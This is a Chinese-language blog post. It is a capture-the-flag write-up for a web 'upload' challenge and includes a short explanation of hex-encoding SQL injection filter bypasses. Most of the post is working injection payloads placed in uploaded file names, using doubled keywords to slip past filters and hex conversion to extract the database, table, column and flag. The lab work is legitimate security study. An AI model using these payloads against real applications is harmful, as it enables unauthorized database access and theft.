首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >【愚公系列】2023年06月 攻防世界-Web(upload)

【愚公系列】2023年06月 攻防世界-Web(upload)

作者头像
愚公搬代码
发布2025-05-28 14:53:19
发布2025-05-28 14:53:19
8300
代码可运行
举报
文章被收录于专栏:历史专栏历史专栏
运行总次数:0
代码可运行

前言

SQL注入的16进制绕过是指攻击者使用16进制编码绕过输入过滤和防御措施,从而执行恶意的SQL语句。

例如,当输入过滤器检测到单引号时,它可能会将其替换为两个单引号,以避免SQL注入攻击。然而,攻击者可以使用16进制编码来绕过这一过滤器。例如,单引号的16进制编码为0x27,因此攻击者可以使用以下语句进行注入:

代码语言:javascript
代码运行次数:0
运行
复制
SELECT * FROM users WHERE username='admin' AND password=0x2720656e7472616e63652070617373776f7264

这里的0x27是单引号的16进制编码,而0x2720656e7472616e63652070617373776f7264是" 'entrance password "的16进制编码,用来代替密码字段。

攻击者可以使用类似的技术来绕过其他类型的输入过滤器和防御措施。因此,开发人员需要仔细考虑和测试其应用程序的安全性,以确保能够抵御SQL注入等攻击。

一、upload

1.题目

2.答题

注册一个账号并登录后

上传一张图片,可以看到图片名会显示在页面上

猜测到文件名可能存在注入漏洞,上传一张名为select和from的图片,发现文件名被过滤,将select改为selselectect可成功绕过。

sql语句是执行了,但无法输出执行结果.(可能数据被过滤掉了),那么尝试将查询结果改为16进制输出

1、查询数据库:

代码语言:javascript
代码运行次数:0
运行
复制
sql'+(selselectect CONV(substr(hex(dAtaBase()),1,12),16,10))+'.jpg

返回:

代码语言:javascript
代码运行次数:0
运行
复制
sql 131277325825392 => web_up
代码语言:javascript
代码运行次数:0
运行
复制
sql '+(selselectect CONV(substr(hex(dAtaBase()),13,12),16,10))+'.jpg

返回:

代码语言:javascript
代码运行次数:0
运行
复制
sql 1819238756 => load

拼接起来得知数据库名为:web_upload

2、然后查表:

代码语言:javascript
代码运行次数:0
运行
复制
sql '+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),1,12),16,10))+'.jpg

返回:

代码语言:javascript
代码运行次数:0
运行
复制
sql 114784820031327 => hello_
代码语言:javascript
代码运行次数:0
运行
复制
sql '+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),13,12),16,10))+'.jpg

返回:

代码语言:javascript
代码运行次数:0
运行
复制
sql 112615676665705 => flag_i
代码语言:javascript
代码运行次数:0
运行
复制
sql '+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),25,12),16,10))+'.jpg

返回:

代码语言:javascript
代码运行次数:0
运行
复制
sql 126853610566245 => s_here

拼接起来得知存放flag的表名为: hello_flag_is_here

3、然后查这个表里有什么字段:

代码语言:javascript
代码运行次数:0
运行
复制
sql '+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit 0,1)),1,12),16,10))+'.jpg

返回:

代码语言:javascript
代码运行次数:0
运行
复制
sql 115858377367398 => i_am_f
代码语言:javascript
代码运行次数:0
运行
复制
sql '+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit 0,1)),13,12),16,10))+'.jpg

返回:

代码语言:javascript
代码运行次数:0
运行
复制
sql 7102823=> lag

拼接起来得知存放flag的字段是:i_am_flag

4、然后查询flag:

代码语言:javascript
代码运行次数:0
运行
复制
sql '+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),1,12),16,10))+'.jpg

返回:

代码语言:javascript
代码运行次数:0
运行
复制
sql 36427215695199 => !!_@m_
代码语言:javascript
代码运行次数:0
运行
复制
sql '+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),13,12),16,10))+'.jpg

返回:

代码语言:javascript
代码运行次数:0
运行
复制
sql 92806431727430=> Th.e_F
代码语言:javascript
代码运行次数:0
运行
复制
sql '+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),25,12),16,10))+'.jpg

返回:

代码语言:javascript
代码运行次数:0
运行
复制
sql 560750951=> !lag

拼起来之后得到flag: !!_@m_Th.e_F!lag

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2023-06-20,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • 一、upload
    • 1.题目
    • 2.答题
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档